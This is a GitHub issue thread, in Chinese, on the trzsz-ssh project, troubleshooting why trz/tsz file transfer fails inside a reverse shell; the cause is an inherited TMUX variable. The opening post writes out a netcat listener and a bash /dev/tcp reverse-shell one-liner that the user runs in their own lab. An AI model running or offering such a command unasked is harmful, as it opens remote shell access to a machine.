trzsz / trzsz-ssh

trzsz-ssh ( tssh ) is an ssh client designed as a drop-in replacement for the openssh client. It aims to provide complete compatibility with openssh, mirroring all its features, while also offering additional useful features. Such as login prompt, batch login, remember password, automated interaction, trzsz, zmodem(rz/sz), udp mode like mosh, etc.
https://trzsz.github.io/ssh
MIT License
1.68k stars 100 forks source link

tssh在反弹shell中无法使用trz,tsz #30

Closed engcn closed 1 year ago

engcn commented 1 year ago

服务端: nc -lkvp 6767 客户端: bash -i >& /dev/tcp/192.168.70.3/6767 0>&1 image

lonnywong commented 1 year ago

正确用法:

engcn commented 1 year ago

我按这个步骤,还是没有成功,我第4步和第7步执行的有问题吗? image

lonnywong commented 1 year ago

没看出什么问题来,在最后这里应该会弹出对话框让你选择文件的了,没有弹出来?

engcn commented 1 year ago

弹框出来了,选择文件后,没有显示进度条,在该目录下也没找到上传的文件

lonnywong commented 1 year ago

在 nc 的前面,只有一个 tssh xxx 登录,没有其他额外的操作了吧?

engcn commented 1 year ago

没有了,全程如下 image

lonnywong commented 1 year ago

有额外的操作,tmux 就是问题所在。 1、没有 tmux 应该可以。 2、tmux 之后,先执行 trzsz -r bash,然后再 nc 应该也可以。

engcn commented 1 year ago

我上个图中,虽然开过tmux,但是又退出了,才执行的nc, 那我重新来一遍 image

lonnywong commented 1 year ago

奇怪了,在我这里是可以的,你打点日志出来看看?

tssh --tracelog tcc
echo -e '<ENABLE_TRZSZ_TRACE_LOG\x3E'
# 你会看到一个日志路径,在你本地的电脑上的,可以另外开一个终端,tail -f 查看
# 然后执行 nc 步骤,卡住一段时间( 十多秒 )之后,把日志里的内容发出来看看。
engcn commented 1 year ago

日志发你邮箱了

image

lonnywong commented 1 year ago

你选了文件之后,运行 trz 的机器没有响应,是 trz 进程被杀了?

engcn commented 1 year ago

现在卡在那里了,我查看进程好像不存在 image

lonnywong commented 1 year ago

你是怎么运行 bash -i >& /dev/tcp/192.168.70.3/6767 0>&1 这个反弹出来的 shell ?应该是这个进程被杀了,或者它的父进程被杀了,导致它的所有子进程全被杀了。

engcn commented 1 year ago

image 客户端还连着呢

lonnywong commented 1 year ago

python 进程还在吗?看看系统日志,有没有被杀的原因?

engcn commented 1 year ago

python进程在,系统日志没看到有错误 image image

lonnywong commented 1 year ago

运行 trz 之后,先不选文件,在另一个终端 dlv attach trz 进程号 ,然后开始调试,回去选文件,看看 trz 是不是在哪里出错了?

lonnywong commented 1 year ago

你说 python 进程还在,好像不是同一个,看看父子进程关系,python 进程应该有个父进程是 bash,也有个子进程是 bash。

lonnywong commented 1 year ago

对了,你能运行 python 这个命令吗?是不是要用 python2 或 python3 ?

engcn commented 1 year ago

客户端python: image 服务端python: image

dlv没法调试release版吧,自己再编译一个? image

选择文件无反应后,查看python和bash进程都在 image

lonnywong commented 1 year ago

可以自己编译一个,也可以直接 c 看看 trz 是怎么退出的。

engcn commented 1 year ago

image dlv返回的字符串

CFG:eJwszEEKwjAQBdC7/PUsYtEqc5lQdazRNhPqHxTFu4vQ7Vu8D45xeZS3QTdpe9jt+ySYhjpCMToEbXH6ySdoJ2CZzYPQLgk4xyt7s

客户端返回的字符串: AXzLeodyiVs9TZUy89y5vUf999fAAAA///UHyLF

lonnywong commented 1 year ago

奇怪了,这个 #CFG:xxx 应该输出到反弹 shell 那边才符合预期。

执行下面这个命令看看?( 要 trz 进程存在时执行 )

ls -al /proc/`pidof trz`/fd
engcn commented 1 year ago

选择文件之后,trz进程还在 image

lonnywong commented 1 year ago

trz 使用 python 的版本看看行不行?

engcn commented 1 year ago

这是安装成功,还是没成功? image

lonnywong commented 1 year ago

这是安装成功了,trz -v 看看

engcn commented 1 year ago

image

lonnywong commented 1 year ago

把 go 版先卸载了吧,因为它的 PATH 在前面了。

engcn commented 1 year ago

image

lonnywong commented 1 year ago

重新登录一下,python 版应该是在 /usr/local/bin 中

engcn commented 1 year ago

image

lonnywong commented 1 year ago

/usr/local/bin/trz 这样行不行?

engcn commented 1 year ago

不行 image

lonnywong commented 1 year ago

奇怪,不知装哪去了。不过,我又试了一下,应该跟 trz 的版本无关,不用折腾 python 版的 trz 了。

我这里反弹 shell 可以上传和下载,不过我的 /proc/`pidof trz`/fd 是这样的:

0 -> /dev/pts/2
1 -> /dev/pts/2
2 -> /dev/pts/2
engcn commented 1 year ago

哦哦,你测试的客户端是本地电脑吗?这是我的3个端 image

lonnywong commented 1 year ago

我知道了,可能是 trz 发现了你有 tmux 环境。在反弹 shell 那里,执行 echo $TMUX 看看?

engcn commented 1 year ago

image

lonnywong commented 1 year ago

是这个问题了,怎么反弹 shell 里会有 tmux 环境呢,是不是你在 bash 之类配置了 tmux 自动启动之类的?

lonnywong commented 1 year ago

你先执行一下 unset TMUX,再执行 trz 应该就能上传了。

engcn commented 1 year ago

的确是这个原因, 我的客户端命令在tmux中执行的: bash -i >& /dev/tcp/192.168.70.3/6767 0>&1 客户端命令不在tmux中执行,就可以了 image

engcn commented 1 year ago

谢谢大佬

lonnywong commented 1 year ago

在 tmux 中执行的也可以,在 trz 之前,先执行 unset TMUX ,把 TMUX 变量清掉,就不会受 tmux 影响了。

engcn commented 1 year ago

哦哦,好的; 另外这个在反弹shell中使用trz的坑,希望能在文档中说明下。

lonnywong commented 1 year ago

@engcn 已更新到 trzsz 的文档中,中文:https://trzsz.github.io/cn/ ,英文:https://trzsz.github.io/